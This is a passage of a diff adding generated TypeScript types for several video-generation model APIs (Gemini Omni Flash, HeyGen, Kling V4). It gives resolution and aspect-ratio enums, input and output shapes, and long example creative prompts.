InputGoogleGeminiOmniFlashV12TextToVideoResolutionEnumKey = + (typeof inputGoogleGeminiOmniFlashV12TextToVideoResolutionEnum)[keyof typeof inputGoogleGeminiOmniFlashV12TextToVideoResolutionEnum] + +export const inputGoogleGeminiOmniFlashV12TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputGoogleGeminiOmniFlashV12TextToVideoAspectRatioEnumKey = + (typeof inputGoogleGeminiOmniFlashV12TextToVideoAspectRatioEnum)[keyof typeof inputGoogleGeminiOmniFlashV12TextToVideoAspectRatioEnum] + +export type InputGoogleGeminiOmniFlashV12TextToVideo = { + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputGoogleGeminiOmniFlashV12TextToVideoResolutionEnumKey + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputGoogleGeminiOmniFlashV12TextToVideoAspectRatioEnumKey + /** + * @description The duration of the generated video, in seconds. + * @minimum 3 + * @maximum 15 + * @default 8 + * @type integer | undefined + */ + duration?: number + /** + * @description The text prompt describing the video you want to generate. + * @maxLength 20000 + * @example A cinematic wide shot of a lighthouse on a rocky cliff at dusk, waves crashing below, the beam sweeping across the dark sea. + * @type string + */ + prompt: string +} + +export type File967Fd1Fd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputGoogleGeminiOmniFlashV12TextToVideo = { + /** + * @description The generated video. + * @type object + */ + video: File967Fd1Fd +} + +export const inputGoogleGeminiOmniFlashV12UpscaleResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputGoogleGeminiOmniFlashV12UpscaleResolutionEnumKey = + (typeof inputGoogleGeminiOmniFlashV12UpscaleResolutionEnum)[keyof typeof inputGoogleGeminiOmniFlashV12UpscaleResolutionEnum] + +export type InputGoogleGeminiOmniFlashV12Upscale = { + /** + * @description The target resolution of the upscaled video. Must be higher than the source video's resolution. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputGoogleGeminiOmniFlashV12UpscaleResolutionEnumKey + /** + * @description URL of the video to upscale. Must be at most 15 seconds long. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_input.mp4 + * @type string + */ + video_url: string +} + +export type FileF9Cd25A9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputGoogleGeminiOmniFlashV12Upscale = { + /** + * @description The generated video. + * @type object + */ + video: FileF9Cd25A9 +} + +export const inputHeygenHeygenVideoImageToVideoResolutionEnum = { + '480p': '480p', + '768p': '768p', + '1080p': '1080p', + '2k': '2k', +} as const + +export type InputHeygenHeygenVideoImageToVideoResolutionEnumKey = + (typeof inputHeygenHeygenVideoImageToVideoResolutionEnum)[keyof typeof inputHeygenHeygenVideoImageToVideoResolutionEnum] + +export const inputHeygenHeygenVideoImageToVideoPromptEnhancementEnum = { + turbo: 'turbo', + quality: 'quality', + ultraquality: 'ultraquality', + disabled: 'disabled', +} as const + +export type InputHeygenHeygenVideoImageToVideoPromptEnhancementEnumKey = + (typeof inputHeygenHeygenVideoImageToVideoPromptEnhancementEnum)[keyof typeof inputHeygenHeygenVideoImageToVideoPromptEnhancementEnum] + +export type InputHeygenHeygenVideoImageToVideo = { + /** + * @minLength 1 + * @maxLength 32000 + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @default '768p' + * @type string | undefined + */ + resolution?: InputHeygenHeygenVideoImageToVideoResolutionEnumKey + /** + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + seed?: number | null + /** + * @description Image to use as the first frame + * @type string + */ + image_url: string + /** + * @default 'turbo' + * @type string | undefined + */ + prompt_enhancement?: InputHeygenHeygenVideoImageToVideoPromptEnhancementEnumKey +} + +export type File679F1D80 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputHeygenHeygenVideoImageToVideo = { + seed?: number | null + video: File679F1D80 +} + +export const inputHeygenHeygenVideoReferenceToVideoResolutionEnum = { + '480p': '480p', + '768p': '768p', + '1080p': '1080p', + '2k': '2k', +} as const + +export type InputHeygenHeygenVideoReferenceToVideoResolutionEnumKey = + (typeof inputHeygenHeygenVideoReferenceToVideoResolutionEnum)[keyof typeof inputHeygenHeygenVideoReferenceToVideoResolutionEnum] + +export const inputHeygenHeygenVideoReferenceToVideoAspectRatioEnum = { + adaptive: 'adaptive', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputHeygenHeygenVideoReferenceToVideoAspectRatioEnumKey = + (typeof inputHeygenHeygenVideoReferenceToVideoAspectRatioEnum)[keyof typeof inputHeygenHeygenVideoReferenceToVideoAspectRatioEnum] + +export const inputHeygenHeygenVideoReferenceToVideoPromptEnhancementEnum = { + turbo: 'turbo', + quality: 'quality', + ultraquality: 'ultraquality', + disabled: 'disabled', +} as const + +export type InputHeygenHeygenVideoReferenceToVideoPromptEnhancementEnumKey = + (typeof inputHeygenHeygenVideoReferenceToVideoPromptEnhancementEnum)[keyof typeof inputHeygenHeygenVideoReferenceToVideoPromptEnhancementEnum] + +export type InputHeygenHeygenVideoReferenceToVideo = { + reference_video_urls?: string[] + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @default '768p' + * @type string | undefined + */ + resolution?: InputHeygenHeygenVideoReferenceToVideoResolutionEnumKey + /** + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputHeygenHeygenVideoReferenceToVideoAspectRatioEnumKey + /** + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + reference_audio_urls?: string[] + /** + * @default 'turbo' + * @type string | undefined + */ + prompt_enhancement?: InputHeygenHeygenVideoReferenceToVideoPromptEnhancementEnumKey + /** + * @minLength 1 + * @maxLength 32000 + * @type string + */ + prompt: string + seed?: number | null + reference_image_urls?: string[] +} + +export type FileB9486A38 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputHeygenHeygenVideoReferenceToVideo = { + seed?: number | null + video: FileB9486A38 +} + +export const inputHeygenHeygenVideoTextToVideoResolutionEnum = { + '480p': '480p', + '768p': '768p', + '1080p': '1080p', + '2k': '2k', +} as const + +export type InputHeygenHeygenVideoTextToVideoResolutionEnumKey = + (typeof inputHeygenHeygenVideoTextToVideoResolutionEnum)[keyof typeof inputHeygenHeygenVideoTextToVideoResolutionEnum] + +export const inputHeygenHeygenVideoTextToVideoAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputHeygenHeygenVideoTextToVideoAspectRatioEnumKey = + (typeof inputHeygenHeygenVideoTextToVideoAspectRatioEnum)[keyof typeof inputHeygenHeygenVideoTextToVideoAspectRatioEnum] + +export const inputHeygenHeygenVideoTextToVideoPromptEnhancementEnum = { + turbo: 'turbo', + quality: 'quality', + ultraquality: 'ultraquality', + disabled: 'disabled', +} as const + +export type InputHeygenHeygenVideoTextToVideoPromptEnhancementEnumKey = + (typeof inputHeygenHeygenVideoTextToVideoPromptEnhancementEnum)[keyof typeof inputHeygenHeygenVideoTextToVideoPromptEnhancementEnum] + +export type InputHeygenHeygenVideoTextToVideo = { + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @default '768p' + * @type string | undefined + */ + resolution?: InputHeygenHeygenVideoTextToVideoResolutionEnumKey + /** + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputHeygenHeygenVideoTextToVideoAspectRatioEnumKey + /** + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @minLength 1 + * @maxLength 32000 + * @type string + */ + prompt: string + /** + * @default 'turbo' + * @type string | undefined + */ + prompt_enhancement?: InputHeygenHeygenVideoTextToVideoPromptEnhancementEnumKey +} + +export type File9B0C49Be = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputHeygenHeygenVideoTextToVideo = { + seed?: number | null + video: File9B0C49Be +} + +/** + * @description The output aspect ratio follows the start frame. + * @type object + */ +export type InputKlingV4FlashImageToVideo = { + /** + * @description Optional text prompt describing the shot. + * @example The same elements in the reference are rigid: the fictional KITO Runner 01 low-top sneaker: off-white suede overlays (#EEE9DF) on a bone-coloured finely perforated engineered mesh upper, a sage-green suede heel tab (#8FA383), a natural gum-rubber cupsole with a fine herringbone edge, tonal off-white flat laces and tonal off-white stitching; the only marking is a small debossed "KITO" on the sage heel tab. It is a single right shoe standing on a warm light-grey paper seamless that curves up into the background with no visible horizon line. Preserve every element exactly; the shoe and the set are frozen, only the camera moves along the keyframed trajectory: one complete, eased 360-degree orbit around the shoe like a motion-control product rig, dipping slightly lower as it passes the back and the inner side, then rising and pushing in gently to finish on a slightly higher hero three-quarter view of the same outer side it started on. + * UNSEEN SIDES must be coherent with the visible ones: the heel shows the full sage-green suede heel tab with the small debossed 'KITO' centred on it; the medial (inner) side mirrors the lateral side's off-white suede overlay layout on the perforated bone mesh; the gum cupsole wraps all the way round with the same height and herringbone edge; tonal off-white laces and stitching everywhere. The shoe is one pair-half: never a second shoe. + * LIGHT is fixed in the world: one large soft key from the upper left, so as the camera orbits the suede nap and perforations catch raking light on the far side and the gum sole glows slightly translucent when backlit; the soft contact shadow stays anchored to the floor. + * AVOID: the shoe rotating or sliding instead of the camera, sole thickness changing, extra eyelets, lace geometry re-tying itself, stripes or swoosh-like marks appearing, logo text anywhere except the heel tab, seamless edge or studio gear coming into frame, flicker, warped toe box. + */ + prompt?: string | null + /** + * @description Video duration in seconds (3-20). + * @minimum 3 + * @maximum 20 + * @default 5 + * @example 10 + * @type integer | undefined + */ + duration?: number + /** + * @description Image to use as the first frame of the video. Flash does not take an end frame. + * + * Max file size: 30.0MB, Min width: 300px, Min height: 300px, Min aspect ratio: 0.40, Max aspect ratio: 2.50, Timeout: 20.0s + * @example https://v3b.fal.media/files/b/0aad8e98/IExjfxS5kaUm5jnqK5yfB_image_1.png + * @type string + */ + start_image_url: string + /** + * @description Output resolution. Flash is 720p only. + * @default '720p' + * @type string | undefined + */ + resolution?: '720p' +} + +export type FileEbe66134 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputKlingV4FlashImageToVideo = { + /** + * @description The generated video. + * @example {"url":"https://v3b.fal.media/files/b/0ab11f9e/u_FE9bAbOG_cCzLBiqCN2_i2v.mp4","file_size":16480268,"content_type":"video/mp4","file_name":"output.mp4"} + * @type object + */ + video: FileEbe66134 +} + +/** + * @description A Kling 4.0 element without a bound voice; Flash takes no voices. + * @type object + */ +export type KlingV4FlashElement = { + /** + * @description The frontal image of the element (main view). + */ + frontal_image_url?: string | null + /** + * @description Additional views of the element from different angles (1-3). + */ + reference_image_urls?: string[] | null + /** + * @description A video of the element, used instead of images (3-8s). + */ + video_url?: string | null +} + +export const inputKlingV4FlashReferenceToVideoAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '21:9': '21:9', +} as const + +export type InputKlingV4FlashReferenceToVideoAspectRatioEnumKey = + (typeof inputKlingV4FlashReferenceToVideoAspectRatioEnum)[keyof typeof inputKlingV4FlashReferenceToVideoAspectRatioEnum] + +export type InputKlingV4FlashReferenceToVideo = { + /** + * @description Reference images, referenced as @Image1, @Image2, ... (max 10). + * @example ["https://v3b.fal.media/files/b/0aad8e7f/Rqg-pv2QnjyCj_qyhkb1L_image_1.png","https://v3b.fal.media/files/b/0aad8e7f/tZbpEZhQSFIdaP-4bA7mZ_image_2.png","https://v3b.fal.media/files/b/0aad90a6/fUtkQcN-M0lfbW0d64cgI_image_3.png","https://v3b.fal.media/files/b/0aad8e7f/-qNeGnjPP6Xv0L811MyJg_image_4.png"] + */ + image_urls?: string[] | null + /** + * @description Output resolution. Flash is 720p only. + * @default '720p' + * @type string | undefined + */ + resolution?: '720p' + /** + * @description Reference videos (3-20s each, 20s combined with element videos), referenced as @Video1, @Video2, ... (max 5). + * @example null + */ + video_urls?: string[] | null + /** + * @description Aspect ratio of the generated video. 'auto' adapts it to the references. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputKlingV4FlashReferenceToVideoAspectRatioEnumKey + /** + * @description Characters/objects, referenced as @Element1, @Element2, ... (max 7). Up to 3 may be video elements. Flash does not accept voices. + * @example null + */ + elements?: KlingV4FlashElement[] | null + /** + * @description Video duration in seconds (3-20). + * @minimum 3 + * @maximum 20 + * @default 5 + * @example 10 + * @type integer | undefined + */ + duration?: number + /** + * @description Text prompt. Reference inputs as @Image1, @Video1, @Element1, etc. + * @maxLength 26000 + * @example 10-second macro product film for the fictional watchmaker AUREL, 16:9, black-velvet studio, one raking strip light. Four shots, hard cuts, slow and precise. + * REFERENCES: @Image1 locks the dial (grand-feu white enamel, slim blued leaf hands, polished baton indices, small seconds at six, 'AUREL' under twelve). @Image2 locks the movement seen through the caseback. @Image3 locks the case flank, brushed and polished bevels and the fluted crown. @Image4 is the end card - reproduce it exactly. + * 0-3 s: @Image1. A motion-control slider glides slowly left to right across the dial at macro distance; the strip-light reflection travels across the domed sapphire; the blued small-seconds hand steps in fine six-beats-per-second increments. + * 3-6 s: @Image2. Slow push-in on the movement; the balance wheel oscillates steadily (about three swings per second), the hairspring breathing; light rakes across the Geneva stripes and blued screws. + * 6-8 s: @Image3. Locked-off extreme macro; the thin strip rim light travels slowly along the mirror-polished bevel and over the fluted crown, one bright glint running edge to edge across the dry steel. + * 8-10 s: hard cut as the glint leaves the crown to the end card of @Image4, held perfectly still; 'AUREL' and 'CALIBRE 7' pixel-identical. + * AUDIO: close-mic mechanical ticking at six beats per second, crisp and dominant; a low warm analogue drone under it; a faint high metallic shimmer as the glint crosses the crown at about 7.8 s; one soft low piano note at 8 s that rings under the end card. No voice-over, no music beyond that note. + * LOCKS: same case, dial, hands and indices across shots; no numerals appearing on the dial; no text except the dial print and the end card. + * AVOID: any water, droplets, condensation or liquid anywhere, dial text drift or extra words, warped hands, hands moving at the wrong speed, a ticking quartz-style seconds jump on a sweep dial, lens flares, CG plastic look, fast cutting. + * @type string + */ + prompt: string + /** + * @description Optional image to use as the first frame. Counts toward the image reference limit. + */ + start_image_url?: string | null +} + +export type FileEce00F94 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputKlingV4FlashReferenceToVideo = { + /** + * @description The generated video. + * @example {"url":"https://v3b.fal.media/files/b/0ab11f9f/7HQolYvL9QnowfKbZGQav_r2v.mp4","file_size":12186191,"content_type":"video/mp4","file_name":"output.mp4"} + * @type object + */ + video: FileEce00F94 +} + +export const inputKlingV4FlashTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '21:9': '21:9', +} as const + +export type InputKlingV4FlashTextToVideoAspectRatioEnumKey = + (typeof inputKlingV4FlashTextToVideoAspectRatioEnum)[keyof typeof inputKlingV4FlashTextToVideoAspectRatioEnum] + +export type InputKlingV4FlashTextToVideo = { + /** + * @description Output resolution. Flash is 720p only. + * @default '720p' + * @type string | undefined + */ + resolution?: '720p' + /** + * @description Text prompt for video generation. + * @maxLength 26000 + * @example 10 seconds, 21:9. Elegant luxury resort film, one continuous camera move, no cuts: from the unmade bed, out through the open doors, across the deck and down to the waterline as the guest takes the first swim of the day at the instant the sun breaks the horizon. + * + * Person (keep identical throughout): Ishani Raghavan, the guest, 41, slim swimmer's build with strong shoulders, warm medium-brown skin, a few dark freckles on her shoulders, straight black hair cut in a blunt chin-length bob, strong dark eyebrows, no makeup, small plain gold stud earrings; she wears an ankle-length undyed white waffle-cotton robe over a plain black one-piece swimsuit with a low back, barefoot. + * Location: Villa Seven at Thila Rah Reserve, a fictional overwater resort on a Maldives-style atoll (representative imagery): a single villa on silver-grey teak stilts above a turquoise lagoon; inside, a low king bed with rumpled ivory linen, a pale limed-oak floor, a woven pandanus ceiling, a brass reading lamp still glowing amber; floor-to-ceiling teak sliding doors standing fully open; outside, a sun-bleached teak deck with no railing on the lagoon edge, a short teak ladder down to the water, a folded sand-coloured towel on the deck; beyond, flat glassy lagoon, a far line of reef breaking white, and the sky at the moment just before sunrise: apricot at the horizon fading to pale blue overhead, no sun disc yet. + * + * Shot (single continuous move): + * 0-3 s: the camera starts low beside the bed at mattress height, gliding slowly along rumpled linen toward the open doors and the glowing horizon beyond. + * 3-6 s: it passes through the doorway onto the deck; Ishani walks ahead of it, barefoot, to the deck edge, the lagoon spreading out across the wide frame; she lets the robe fall. + * 6-8 s: the camera drops smoothly to just above the waterline as she dives in cleanly; rings spread across the glassy surface. + * 8-10 s: the camera settles a few centimetres above the water as the first sliver of sun breaks the horizon behind her; she surfaces, slicks back her hair, and floats facing the light; hold. + * + * Audio: no dialogue. Music: a sparse ambient piece, about 60 BPM, solo cello holding a long low note with soft harmonics, a felt piano entering at 4 s with three single notes, swelling gently to the end. Foley: linen rustle, bare feet on teak, the robe dropping onto the deck, the hush of tiny lagoon wavelets against the stilts, a single clean entry splash, distant reef surf, one white tern call. + * Look: soft pre-dawn light turning warm, turquoise and apricot palette, ivory and silver teak; large-format clarity, very fine grain, realistic water. + * On-screen text: one small end line in the empty sky at 9-10 s: "Thila Rah". + * AVOID: cuts, drone footage, people other than Ishani, logos on towel or robe, text other than the end line, lens flares, oversaturated turquoise, a fully risen sun, slow motion, splashes that freeze, CGI-looking water, a railing on the deck edge. + * @type string + */ + prompt: string + /** + * @description Video duration in seconds (3-20). + * @minimum 3 + * @maximum 20 + * @default 5 + * @example 10 + * @type integer | undefined + */ + duration?: number + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @example 21:9 + * @type string | undefined + */ + aspect_ratio?: InputKlingV4FlashTextToVideoAspectRatioEnumKey +} + +export type FileEaffb40A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputKlingV4FlashTextToVideo = { + /** + * @description The generated video. + * @example {"url":"https://v3b.fal.media/files/b/0ab11f9d/0WK4KLsy_4-HxwKDivOMQ_t2v.mp4","file_size":23599464,"content_type":"video/mp4","file_name":"output.mp4"} + * @type object + */ + video: FileEaffb40A +} + +export type InputKlingV4FlashVideoToVideo = { + /** + * @description Reference videos, referenced as @Video2, @Video3, ... (max 4). The source, reference and element videos must total at most 20s. + * @example null + */ + video_urls?: string[] | null + /** + * @description Characters/objects, referenced as @Element1, @Element2, ... (max 7). Up to 3 may be video elements. Flash does not accept voices. + * @example null + */ + elements?: KlingV4FlashElement[] | null + /** + * @description Output duration in seconds (3-20). Defaults to the source video's length. + * @example 8 + */ + duration?: number | null + /** + * @description Edit instruction. Reference the source video as @Video1. + * @maxLength 26000 + * @example The blocky car proxy is the KESSEL R4 rally car from @Image1 - chalk-white body with the diagonal signal-orange and charcoal band, black 27 on a white roundel on the doors, slim LED headlamps joined by a light bar, roof scoop, rear wing, red mudflaps, white six-spoke gravel wheels. The grey road ribbon is the loose ochre-grey gravel stage and the cones and cylinders are the pine and birch forest of @Image2, on a crisp autumn morning with low sun raking through the trees and hanging dust. The mannequin proxies behind the rope are rally spectators in muted outdoor jackets and beanies behind red-and-white tape. Keep the exact blocking, timing, camera position and pan of the playblast. Physically real gravel rally: the car slides through the hairpin with opposite lock, rear wheels throwing a thick fan of gravel and a rolling dust cloud that drifts across the spectators; stones rattle off the bank; the suspension works over the ruts; spectators flinch, cheer and raise phones. Sound: a turbocharged four-cylinder rally engine on anti-lag with pops and bangs, gravel spray, crowd cheering. No text other than the number 27, no sponsor logos. + * @type string + */ + prompt: string + /** + * @description Reference images, referenced as @Image1, @Image2, ... (max 10). + * @example ["https://v3b.fal.media/files/b/0aad8e8d/cWf3NfeTaRd6UzjMUpBDV_image_1.png","https://v3b.fal.media/files/b/0aad8e8d/Lf2iDZzwyoaqzTBkzg7OB_image_2.png"] + */ + image_urls?: string[] | null + /** + * @description The video to edit (3-20s), referenced as @Video1. + * + * Max file size: 300.0MB, Min width: 700px, Min height: 700px, Max width: 4553px, Max height: 4553px, Min aspect ratio: 0.40, Max aspect ratio: 2.50, Min duration: 3.0s, Max duration: 20.05s, Min FPS: 23.9, Max FPS: 60.05, Timeout: 30.0s + * @example https://v3b.fal.media/files/b/0aad8e8d/Nig30TEV-F60iywH0q2z6_source_video.mp4 + * @type string + */ + video_url: string + /** + * @description Output resolution. Flash is 720p only. + * @default '720p' + * @type string | undefined + */ + resolution?: '720p' +} + +export type File7Af33C0A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputKlingV4FlashVideoToVideo = { + /** + * @description The generated video. + * @example {"url":"https://v3b.fal.media/files/b/0ab1204d/IVTSiS7Vp0-ChChUzFh12_output.mp4","file_size":18009112,"content_type":"video/mp4","file_name":"output.mp4"} + * @type object + */ + video: File7Af33C0A +} + +export type KlingV4Shot = { + /** + * @description The prompt for this shot. + * @minLength 1 + * @maxLength 512 + * @type string + */ + prompt: string + /** + * @description Shot duration in seconds. + * @minimum 1 + * @maximum 30 + * @default 5 + * @type integer | undefined + */ + duration?: number +} + +export const inputKlingV4ImageToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputKlingV4ImageToVideoResolutionEnumKey = + (typeof inputKlingV4ImageToVideoResolutionEnum)[keyof typeof inputKlingV4ImageToVideoResolutionEnum] + +/** + * @description The output aspect ratio follows the input frames. + * @type object + */ +export type InputKlingV4ImageToVideo = { + /** + * @description Image to use as the first frame of the video. + * + * Max file size: 30.0MB, Min width: 300px, Min height: 300px, Min aspect ratio: 0.40, Max aspect ratio: 2.50, Timeout: 20.0s + * @example https://v3b.fal.media/files/b/rabbit/NaslJIC7F2WodS6DFZRRJ.png + * @type string + */ + start_image_url: string + /** + * @description Optional text prompt. Leave empty (and omit multi_prompt) to animate the frames without one. + * @example A detective in a black trench coat stands on a rooftop in the rain, looking through a telescope at the street below. + */ + prompt?: string | null + /** + * @description Image to use as the last frame of the video. + * @example https://v3b.fal.media/files/b/tiger/BwHi22qoQnqaTNMMhe533.png + */ + end_image_url?: string | null + /** + * @description Per-shot prompts for multi-shot generation. The video duration is the sum of the shot durations. + * @example null + */ + multi_prompt?: KlingV4Shot[] | null + /** + * @description Video duration in seconds (3-30). + * @minimum 3 + * @maximum 30 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Ordered keyframes between the first and last frames (max 8). + * @example null + */ + middle_image_urls?: string[] | null + /** + * @description Output resolution. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputKlingV4ImageToVideoResolutionEnumKey +} + +export type File1Df84C27 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputKlingV4ImageToVideo = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","file_size":2953131,"file_name":"output.mp4","url":"https://v3b.fal.media/files/b/0aac4496/HjUbnyfTPVcavQNpRh1QJ_clip_image.mp4"} + * @type object + */ + video: File1Df84C27 +} + +export type KlingV4Shot9783765D = { + /** + * @description Shot duration in seconds. + * @minimum 1 + * @maximum 30 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description The prompt for this shot. + * @minLength 1 + * @maxLength 512 + * @type string + */ + prompt: string +} + +export type KlingV4Element = { + /** + * @description The frontal image of the element (main view). + */ + frontal_image_url?: string | null + /** + * @description Voice bound to this element. Create one with https://fal.ai/models/fal-ai/kling-video/create-voice + */ + voice_id?: string | null + /** + * @description Additional views of the element from different angles (1-3). + */ + reference_image_urls?: string[] | null + /** + * @description A video of the element, used instead of images (3-8s). + */ + video_url?: string | null +} + +export const inputKlingV4ReferenceToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputKlingV4ReferenceToVideoResolutionEnumKey = + (typeof inputKlingV4ReferenceToVideoResolutionEnum)[keyof typeof inputKlingV4ReferenceToVideoResolutionEnum] + +export const inputKlingV4ReferenceToVideoAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '21:9': '21:9', +} as const + +export type InputKlingV4ReferenceToVideoAspectRatioEnumKey = + (typeof inputKlingV4ReferenceToVideoAspectRatioEnum)[keyof typeof inputKlingV4ReferenceToVideoAspectRatioEnum] + +export type InputKlingV4ReferenceToVideo = { + /** + * @description Text prompt. Reference inputs as @Image1, @Video1, @Element1, etc. Either prompt or multi_prompt must be provided. + * @example @Element1 and @Element2 are having dinner at the table in @Image1 + */ + prompt?: string | null + /** + * @description Video duration in seconds (3-30). + * @minimum 3 + * @maximum 30 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Optional image to use as the last frame. Counts toward the image reference limit. + */ + end_image_url?: string | null + /** + * @description Optional ordered keyframes between the first and last frames (max 8). Count toward the image reference limit. + * @example null + */ + middle_image_urls?: string[] | null + /** + * @description Output resolution. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputKlingV4ReferenceToVideoResolutionEnumKey + /** + * @description Reference videos (3-30s each, 30s combined with element videos), referenced as @Video1, @Video2, ... (max 5). + * @example null + */ + video_urls?: string[] | null + /** + * @description Reference images, referenced as @Image1, @Image2, ... (max 10). + * @example null + */ + image_urls?: string[] | null + /** + * @description Aspect ratio of the generated video. 'auto' adapts it to the references. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputKlingV4ReferenceToVideoAspectRatioEnumKey + /** + * @description Per-shot prompts for multi-shot generation. The video duration is the sum of the shot durations. + * @example null + */ + multi_prompt?: KlingV4Shot9783765D[] | null + /** + * @description Optional image to use as the first frame. Counts toward the image reference limit. + */ + start_image_url?: string | null + /** + * @description Voices referenced in the prompt as @Voice1, @Voice2, ... (max 3, including voices bound to elements). Create one with https://fal.ai/models/fal-ai/kling-video/create-voice + * @example null + */ + voice_ids?: string[] | null + /** + * @description Characters/objects, referenced as @Element1, @Element2, ... (max 7). Up to 3 elements may carry a voice_id and up to 3 may be video elements. + * @example null + */ + elements?: KlingV4Element[] | null +} + +export type File8B2Aa5Af = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputKlingV4ReferenceToVideo = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","file_size":3020124,"file_name":"output.mp4","url":"https://v3b.fal.media/files/b/0aac4497/-fHk6MiMZhLy2FncCbyM7_clip_reference.mp4"} + * @type object + */ + video: File8B2Aa5Af +} + +export type KlingV4Shot9Ddf8Afa = { + /** + * @description The prompt for this shot. + * @minLength 1 + * @maxLength 512 + * @type string + */ + prompt: string + /** + * @description Shot duration in seconds. + * @minimum 1 + * @maximum 30 + * @default 5 + * @type integer | undefined + */ + duration?: 